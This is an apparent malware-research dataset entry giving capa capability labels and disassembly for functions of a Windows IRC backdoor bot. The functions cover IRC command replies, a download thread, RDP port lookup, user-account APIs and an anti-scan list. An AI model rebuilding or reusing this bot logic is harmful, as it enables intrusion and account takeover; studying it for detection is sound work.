joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180026270
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0xd0
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rdi, rcx
mov rbx, rdx
mov ebp, 0x7f
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8, rbp
mov byte [rsp + 0x40], 0
call fcn.180052810
mov dword [rsp + 0x30], 0
mov eax, dword [0x18009b628]
xchg dword [rsp + 0x30], eax
mov ecx, dword [rsp + 0x30]
test ecx, ecx
jne 0x18002637f
mov rcx, qword [0x18009b640]
test rcx, rcx
je 0x1800262eb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [0x18009b640], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x18009b640], rax
test rax, rax
je 0x1800263a9
and dword [rsp + 0x34], 0
lea rax, [rsp + 0x34]
lea r8, [0x180026100]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180026360
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rbp
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x180026357
lea r8, str._r_nCreate_Logging_Thread_Successfully_r_n_r_n
jmp 0x180026393
lea r8, str.PRIVMSG__s_:Create_Logging_Thread_Successfully_r_n
jmp 0x1800263a1
mov rdx, rbp
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x180026376
lea r8, str._r_nFail_To_Create_Logging_Thread_r_n_r_n
jmp 0x180026393
lea r8, str.PRIVMSG__s_:Fail_To_Create_Logging_Thread_r_n
jmp 0x1800263a1
mov rdx, rbp
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x18002639a
lea r8, str._r_nLogging_Is_Running_Already_r_n_r_n
call fcn.1800528fc
jmp 0x1800263a9
lea r8, str.PRIVMSG__s_:Logging_Is_Running_Already_r_n
mov r9, rbx
call fcn.1800528fc
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.180012d7c
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1800527e0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18002757c
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x220
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x210], rax
mov rsi, rcx
mov rdi, rdx
mov ebx, 0x7f
lea rcx, [rsp + 0x81]
xor edx, edx
mov r8, rbx
mov dword [rsp + 0x40], 8
mov byte [rsp + 0x80], 0
call fcn.180052810
xor eax, eax
lea r8, str.SystemCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
lea rcx, [rsp + 0x80]
and qword [rsp + 0x38], rax
mov rdx, rbx
mov byte [rsp + 0x68], 0
mov qword [rsp + 0x69], rax
mov dword [rsp + 0x71], eax
mov word [rsp + 0x75], ax
mov byte [rsp + 0x77], al
mov dword [rsp + 0x30], 4
call fcn.1800528fc
lea rdx, str.PortNumBer
lea rcx, [rsp + 0x68]
call fcn.180053170
mov ebx, 0x103
lea rcx, [rsp + 0x100]
mov rdx, rbx
test rdi, rdi
jne 0x18002763e
lea r8, str._r_nFail_To_View_Terminal_Service_Port_r_n_r_n
call fcn.1800528fc
jmp 0x18002764d
lea r8, str.PRIVMSG__s_:Fail_To_View_Terminal_Service_Port_r_n
mov r9, rdi
call fcn.1800528fc
lea rax, [rsp + 0x38]
lea rdx, [rsp + 0x80]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800276ee
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1800276e3
mov rdx, rbx
lea rcx, [rsp + 0x100]
test rdi, rdi
jne 0x1800276cc
mov r9d, dword [rsp + 0x48]
lea r8, str._r_nTerminal_Service_Port:__d_r_n_r_n
call fcn.1800528fc
jmp 0x1800276e3
mov eax, dword [rsp + 0x48]
lea r8, str.PRIVMSG__s_:Terminal_Service_Port:__d_r_n
mov r9, rdi
mov dword [rsp + 0x20], eax
call fcn.1800528fc
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x100]
mov rcx, rsi
call fcn.180012d7c
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.1800527e0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180028598
Capabilities:
Create thread

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x480
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov rsi, rcx
mov rbp, r8
mov rbx, rdx
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x318
mov rdi, r9
call fcn.180052810
lea rcx, [rsp + 0x48]
xor edx, edx
mov r8d, 0x100
mov qword [rsp + 0x40], rsi
call fcn.180052810
test rbx, rbx
je 0x180028605
lea rcx, [rsp + 0x48]
mov r8d, 0xfe
mov rdx, rbx
call fcn.180052a80
mov eax, dword [rsp + 0x4d0]
mov r12d, 0x104
lea rcx, [rsp + 0x14c]
mov r8, r12
xor edx, edx
mov dword [rsp + 0x148], eax
call fcn.180052810
lea rcx, [rsp + 0x250]
mov r8, r12
xor edx, edx
call fcn.180052810
mov r12d, 0x103
test rbp, rbp
je 0x18002865b
lea rcx, [rsp + 0x14c]
mov r8, r12
mov rdx, rbp
call fcn.180052a80
test rdi, rdi
je 0x180028673
lea rcx, [rsp + 0x250]
mov r8, r12
mov rdx, rdi
call fcn.180052a80
lea rcx, [rsp + 0x361]
mov r8, r12
xor edx, edx
mov byte [rsp + 0x360], 0
call fcn.180052810
call fcn.18000ed10
test eax, eax
jne 0x1800286da
mov rdx, r12
lea rcx, [rsp + 0x360]
test rbx, rbx
jne 0x1800286b4
lea r8, str._r_nWININET_API_Fail_To_Be_Loaded_r_n_r_n
call fcn.1800528fc
jmp 0x1800286c3
lea r8, str.PRIVMSG__s_:WININET_API_Fail_To_Be_Loaded_r_n
mov r9, rbx
call fcn.1800528fc
lea rdx, [rsp + 0x360]
mov rcx, rsi
call fcn.180012d7c
xor eax, eax
jmp 0x18002878b
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x40]
lea r8, [0x180027dc4]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x180028729
mov rdx, r12
lea rcx, [rsp + 0x360]
test rbx, rbx
jne 0x180028720
lea r8, str._r_nFail_To_Create_Download_Thread_r_n_r_n
jmp 0x1800286ad
lea r8, str.PRIVMSG__s_:Fail_To_Create_Download_Thread_r_n
jmp 0x1800286bb
lea rcx, [rsp + 0x48]
call fcn.1800529c0
mov rdx, r12
lea rcx, [rsp + 0x360]
test eax, eax
jne 0x180028750
lea r8, str._r_nCreate_Download_Thread_Successfully_r_n_r_n
call fcn.1800528fc
jmp 0x18002875f
lea r8, str.PRIVMSG__s_:Create_Download_Thread_Successfully_r_n
mov r9, rbx
call fcn.1800528fc
lea rdx, [rsp + 0x360]
mov rcx, rsi
call fcn.180012d7c
mov edx, 0x5dc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1800527e0
add rsp, 0x480
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18002b8ec
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x840
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x830], rax
mov esi, edx
mov rdi, rcx
call fcn.180004a30
test eax, eax
je 0x18002b925
xor eax, eax
jmp 0x18002ba7c
mov rcx, rdi
call fcn.18000548c
test eax, eax
je 0x18002b91e
lea rcx, [0x1800849f8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, SQLFreeHandle
call fcn.180052e88
mov rbx, rax
test rax, rax
jne 0x18002b95f
lea rcx, [0x1800849f8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x18002b91e
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 0x14]
call fcn.180052810
mov r8d, SQLAllocHandle
mov rdx, rdi
mov rcx, rbx
call fcn.180052a80
mov r11, qword [0x18009b7c8]
lea rcx, [0x1800849f8]
mov qword [rbx + 0x14], r11
mov qword [0x18009b7c8], rbx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x18002ba77
mov ebx, 0x7ff
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8, rbx
mov byte [rsp + 0x30], 0
call fcn.180052810
lea r8d, [rbx + 1]
lea rcx, [rsp + 0x30]
xor edx, edx
call fcn.180052810
lea r11, [0x18009b470]
lea rsi, str.AntiScanList
mov qword [rsp + 0x28], r11
lea r9, [rsp + 0x30]
lea rcx, str.GlobalSettings
mov rdx, rsi
xor r8d, r8d
mov dword [rsp + 0x20], 0x800
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rcx, [rsp + 0x30]
test eax, eax
jle 0x18002ba6a
call fcn.1800529c0
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.18000b550
mov rcx, rdi
call fcn.1800529c0
lea rcx, [rsp + 0x30]
mov rbx, rax
call fcn.1800529c0
lea r8d, [rbx + rax + 2]
cmp r8d, 0x800
jae 0x18002ba77
lea rdx, [0x18006783c]
lea rcx, [rsp + 0x30]
call fcn.1800530d0
mov rdx, rdi
mov rcx, rax
call fcn.1800530d0
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.180019644
jmp 0x18002ba7c
mov r8, rbx
mov rdx, rdi
call fcn.180052a80
jmp 0x18002ba5b
mov eax, 1
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.1800527e0
lea r11, [rsp + 0x840]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x18002dc70
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x170
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor eax, eax
mov rbp, rcx
mov r12, rdx
mov r14d, 0x103
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8, r14
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x31], rax
mov qword [rsp + 0x39], rax
mov qword [rsp + 0x41], rax
mov dword [rsp + 0x49], eax
mov word [rsp + 0x4d], ax
mov byte [rsp + 0x4f], al
mov byte [rsp + 0x50], al
call fcn.180052810
xor esi, esi
xor ebx, ebx
test r12, r12
jne 0x18002dce7
xor eax, eax
jmp 0x18002de0d
xor edi, edi
cmp esi, 0xc8
ja 0x18002ddc0
xor edx, edx
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 0x20]
call fcn.180052810
lea r8, str.User_d
lea rcx, [rsp + 0x30]
mov r9d, edi
mov edx, reloc.ODBC32.dll_SQLFreeHandle
call fcn.1800528fc
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
call fcn.180052810
lea r11, [0x18009b470]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x28], r11
lea rdx, str.UserName
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x18002dd66
inc esi
jmp 0x18002ddb2
lea rcx, [rsp + 0x50]
call fcn.1800529c0
lea rcx, [rsp + 0x50]
mov rdx, rax
call fcn.18000b550
mov rcx, r12
call fcn.1800529c0
lea rcx, [rsp + 0x50]
mov rdx, r12
mov r8d, eax
call fcn.180052dec
test eax, eax
jne 0x18002ddb2
lea r9d, [rax + 1]
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, rbp
call fcn.1800215a4
test eax, eax
je 0x18002ddb2
inc ebx
inc edi
cmp edi, 0x3e8
jb 0x18002dce9
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
call fcn.180052810
mov rdx, r14
lea rcx, [rsp + 0x50]
test ebx, ebx
je 0x18002ddef
lea r8, str._r_n_d_Accounts_Has_Been_Deleted_r_n_r_n
mov r9d, ebx
call fcn.1800528fc
jmp 0x18002ddfb
lea r8, str._r_nNo_Accounts_Has_Been_Deleted_r_n_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x50]
mov rcx, rbp
call fcn.180012d7c
mov eax, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1800527e0
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x170
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18002e128
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
lea rcx, str.WININET.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x18009b7e0], rax
test rax, rax
jne 0x18002e14c
xor eax, eax
jmp 0x18002e264
lea rdx, str.HttpOpenRequestA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009b438], rax
test rax, rax
jne 0x18002e16f
call fcn.18000ece8
jmp 0x18002e145
mov rcx, qword [0x18009b7e0]
lea rdx, str.InternetOpenA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800849f0], rax
test rax, rax
je 0x18002e168
mov rcx, qword [0x18009b7e0]
lea rdx, str.InternetConnectA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009ad28], rax
test rax, rax
je 0x18002e168
mov rcx, qword [0x18009b7e0]
lea rdx, str.HttpSendRequestA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009b430], rax
test rax, rax
je 0x18002e168
mov rcx, qword [0x18009b7e0]
lea rdx, str.HttpQueryInfoA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009aed8], rax
test rax, rax
je 0x18002e168
mov rcx, qword [0x18009b7e0]
lea rdx, str.InternetCrackUrlA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180099cb0], rax
test rax, rax
je 0x18002e168
mov rcx, qword [0x18009b7e0]
lea rdx, str.InternetReadFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009aed0], rax
test rax, rax
je 0x18002e168
mov rcx, qword [0x18009b7e0]
lea rdx, str.InternetCloseHandle
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180099c90], rax
test rax, rax
je 0x18002e168
mov eax, 1
add rsp, 0x28
ret

Function at 0x18002f18c
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
lea rcx, str.NETAPI32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x18009b7f8], rax
test rax, rax
jne 0x18002f1b0
xor eax, eax
jmp 0x18002f25c
lea rdx, str.NetUserSetInfo
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800849e8], rax
test rax, rax
jne 0x18002f1d3
call fcn.18000fa14
jmp 0x18002f1a9
mov rcx, qword [0x18009b7f8]
lea rdx, str.NetLocalGroupAddMembers
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800976c8], rax
test rax, rax
je 0x18002f1cc
mov rcx, qword [0x18009b7f8]
lea rdx, str.NetUserAdd
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009b3d0], rax
test rax, rax
je 0x18002f1cc
mov rcx, qword [0x18009b7f8]
lea rdx, str.NetUserEnum
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009add0], rax
test rax, rax
je 0x18002f1cc
mov rcx, qword [0x18009b7f8]
lea rdx, str.NetApiBufferFree
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18009ae98], rax
test rax, rax
je 0x18002f1cc
mov eax, 1
add rsp, 0x28
ret
Function at 0x18003c7b8
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x840
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x830], rax
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x30], 0
call fcn.180052810
mov ebx, 0x800
lea rcx, [rsp + 0x30]
mov r8, rbx
xor edx, edx
xor edi, edi
call fcn.180052810
lea rbp, [0x18009b470]
lea r9, [rsp + 0x30]
lea rdx, [0x180075e98]
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea esi, [rdi + 1]
test eax, eax
jle 0x18003c871
lea rcx, [rsp + 0x30]
call fcn.1800529c0
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.18000b550
lea rdx, str.Enable
lea rcx, [rsp + 0x30]
call fcn.180053060
test eax, eax
jne 0x18003c871
mov eax, esi
jmp 0x18003c873
xor eax, eax
xchg dword [0x18009b6b8], eax
lea rcx, [rsp + 0x30]
mov r8, rbx
xor edx, edx
call fcn.180052810
lea r9, [rsp + 0x30]
lea rdx, str.AntiScanList
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x18003c900
lea rcx, [rsp + 0x30]
call fcn.1800529c0
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.18000b550
lea rcx, [rsp + 0x30]
jmp 0x18003c8ec
mov rcx, rbx
call fcn.18000548c
test eax, eax
je 0x18003c8ea
xor edx, edx
mov rcx, rbx
call fcn.18002b8ec
test eax, eax
cmovne edi, esi
xor ecx, ecx
lea rdx, [0x18006783c]
call fcn.180054330
mov rbx, rax
test rax, rax
jne 0x18003c8cf
mov eax, edi
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.1800527e0
lea r11, [rsp + 0x840]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1800416e8
Capabilities:
Create thread
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rcx, [0x18009ad38]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ebp, word [0x180099d04]
mov esi, dword [0x180099d00]
lea rcx, [0x18009ad38]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
xor ebx, ebx
lea edi, [rbx + 8]
lea rcx, [rsp + 0x38]
xor edx, edx
mov r8, rdi
mov byte [rsp + 0x38], bl
mov dword [rsp + 0x39], eax
mov word [rsp + 0x3d], ax
mov byte [rsp + 0x3f], al
call fcn.180052810
lea r11, [0x18009b470]
lea r9, [rsp + 0x38]
lea rdx, str.RemoteAdminPort
mov qword [rsp + 0x28], r11
lea rcx, str.GlobalSettings
xor r8d, r8d
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, ebx
jle 0x180041839
lea rcx, [rsp + 0x38]
call fcn.1800529c0
lea rcx, [rsp + 0x38]
mov rdx, rax
call fcn.18000b550
lea rcx, [rsp + 0x38]
call fcn.18000496c
cmp eax, ebx
je 0x180041839
lea rcx, [rsp + 0x38]
call fcn.180054324
mov edi, eax
lea ecx, [rax - 1]
cmp ecx, 0xfffe
ja 0x180041839
cmp ebp, eax
jne 0x1800417dd
cmp esi, ebx
je 0x1800417dd
cmp dword [0x18009b62c], ebx
jne 0x180041839
mov dword [0x18009b62c], ebx
call fcn.180012d30
lea rcx, [0x18009ad38]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, [0x18009ad38]
mov word [0x180099d04], di
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea r11, [rsp + 0x30]
lea r8, [0x180041548]
mov qword [rsp + 0x28], r11
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call fcn.180054eac
cmp eax, ebx
mov dword [0x18009b660], eax
seta bl
mov eax, ebx
jmp 0x18004183b
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1800527e0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x18004b67c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0xd0
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rdi, rcx
mov rbx, rdx
mov ebp, 0x7f
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8, rbp
mov byte [rsp + 0x40], 0
call fcn.180052810
cmp dword [0x18009b428], 0
jne 0x18004b77a
call fcn.1800073b4
call fcn.180038480
test eax, eax
je 0x18004b764
cmp dword [0x18009b424], 0
je 0x18004b764
and dword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
lea r8, [0x18004b184]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x18004b73c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rbp
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x18004b733
lea r8, str._r_nCreate_IRC_Bot_Thread_Successfully_r_n_r_n
jmp 0x18004b78e
lea r8, str.PRIVMSG__s_:Create_IRC_Bot_Thread_Successfully_r_n
jmp 0x18004b79c
mov rdx, rbp
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x18004b752
lea r8, str._r_nFail_To_Create_IRC_Bot_Thread_r_n_r_n
jmp 0x18004b78e
lea r8, str.PRIVMSG__s_:Fail_To_Create_IRC_Bot_Thread_r_n
jmp 0x18004b79c
lea r8, str.PRIVMSG__s_:IRC_Bot_Is_Disable_r_n
jmp 0x18004b79c
mov rdx, rbp
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x18004b75b
lea r8, str._r_nIRC_Bot_Is_Disable_r_n_r_n
jmp 0x18004b78e
mov rdx, rbp
lea rcx, [rsp + 0x40]
test rbx, rbx
jne 0x18004b795
lea r8, str._r_nIRC_Bot_Is_Running_Already_r_n_r_n
call fcn.1800528fc
jmp 0x18004b7a4
lea r8, str.PRIVMSG__s_:IRC_Bot_Is_Running_Already_r_n
mov r9, rbx
call fcn.1800528fc
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.180012d7c
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1800527e0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180050948
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
test rcx, rcx
je 0x18005098e
and dword [rsp + 0x40], 0
lea rax, [rsp + 0x40]
mov r9, rcx
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
lea r8, [0x180050688]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x18005098e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x180050990
xor eax, eax
add rsp, 0x38
ret
Function at 0x180050998
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x870
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x860], rax
cmp qword [0x18009afa0], rcx
jne 0x180050c2c
mov eax, dword [0x18009b3be]
and dword [rsp + 0x40], 0
lea rdi, [0x18009afbe]
xchg dword [rsp + 0x40], eax
mov ebp, 0x400
mov rcx, rdi
mov r8, rbp
xor edx, edx
call fcn.180052810
and qword [rsp + 0x30], 0
mov rcx, qword [0x18009afa0]
and qword [rsp + 0x28], 0
and dword [rsp + 0x44], 0
and dword [rsp + 0x48], 0
lea rax, [rsp + 0x48]
mov ebx, 1
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov r8d, ebx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], ebp
call qword [0x180099c50]
cmp dword [rsp + 0x40], ebx
jne 0x180050adf
cmp eax, 0xffffffff
je 0x180050ae4
mov ebx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea rdx, str.TCP_Protocol
mov rcx, rdi
mov r8, rbx
call fcn.180052dec
test eax, eax
je 0x180050ad5
lea rdx, str.UDP_Protocol
mov r8, rbx
mov rcx, rdi
call fcn.180052dec
test eax, eax
je 0x180050ad5
lea r8d, [rbx - 4]
lea rdx, [0x18007bc78]
mov rcx, rdi
call fcn.180052dec
test eax, eax
jne 0x180050bde
lea ebx, [rbp - 1]
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8, rbx
mov byte [rsp + 0x60], al
call fcn.180052810
lea rcx, [rsp + 0x60]
mov r8, rbx
mov rdx, rdi
call fcn.180052a80
mov r8, rbp
xor edx, edx
mov rcx, rdi
call fcn.180052810
lea rcx, [rsp + 0x60]
jmp 0x180050bd7
call fcn.18003da14
jmp 0x180050c2c
cmp eax, 0xffffffff
jne 0x180050b11
call qword [0x18009ad70]
cmp eax, 0x2733
je 0x180050c2c
mov rcx, qword [0x18009b458]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x12]
call qword [sym.imp.USER32.dll_PostMessageA]
jmp 0x180050c2c
lea rdx, str.Good_Job_Slave
mov r8d, SQLNumResultCols
mov rcx, rdi
call fcn.180052dec
mov rcx, rdi
test eax, eax
jne 0x180050b7b
mov r8, rbp
xor edx, edx
call fcn.180052810
mov r11d, ebx
xchg dword [0x18009b3be], r11d
mov dword [0x18009b7c4], ebx
mov dword [0x18009b6bc], ebx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rdx, qword [0x18009afa0]
mov rcx, qword [0x18009b458]
xor r9d, r9d
mov r8d, 0x7530
mov dword [0x18009b3c2], eax
call qword [sym.imp.USER32.dll_SetTimer]
jmp 0x180050c2c
lea rdx, [0x18007bc78]
mov r8d, 8
call fcn.180052dec
test eax, eax
jne 0x180050bde
mov ebx, 0x3ff
lea rcx, [rsp + 0x461]
xor edx, edx
mov r8, rbx
mov byte [rsp + 0x460], al
call fcn.180052810
lea rcx, [rsp + 0x460]
mov r8, rbx
mov rdx, rdi
call fcn.180052a80
mov r8, rbp
xor edx, edx
mov rcx, rdi
call fcn.180052810
lea rcx, [rsp + 0x460]
call fcn.180050948
jmp 0x180050c2c
mov ebx, 4
lea rdx, str.PING
mov rcx, rdi
mov r8, rbx
call fcn.180052dec
test eax, eax
jne 0x180050c2c
mov r8, rbp
xor edx, edx
mov rcx, rdi
call fcn.180052810
mov rcx, qword [0x18009afa0]
lea rdx, str.PONG
mov r8d, ebx
call fcn.1800049b4
cmp eax, ebx
jne 0x180050c2c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x18009b3c2], eax
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.1800527e0
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret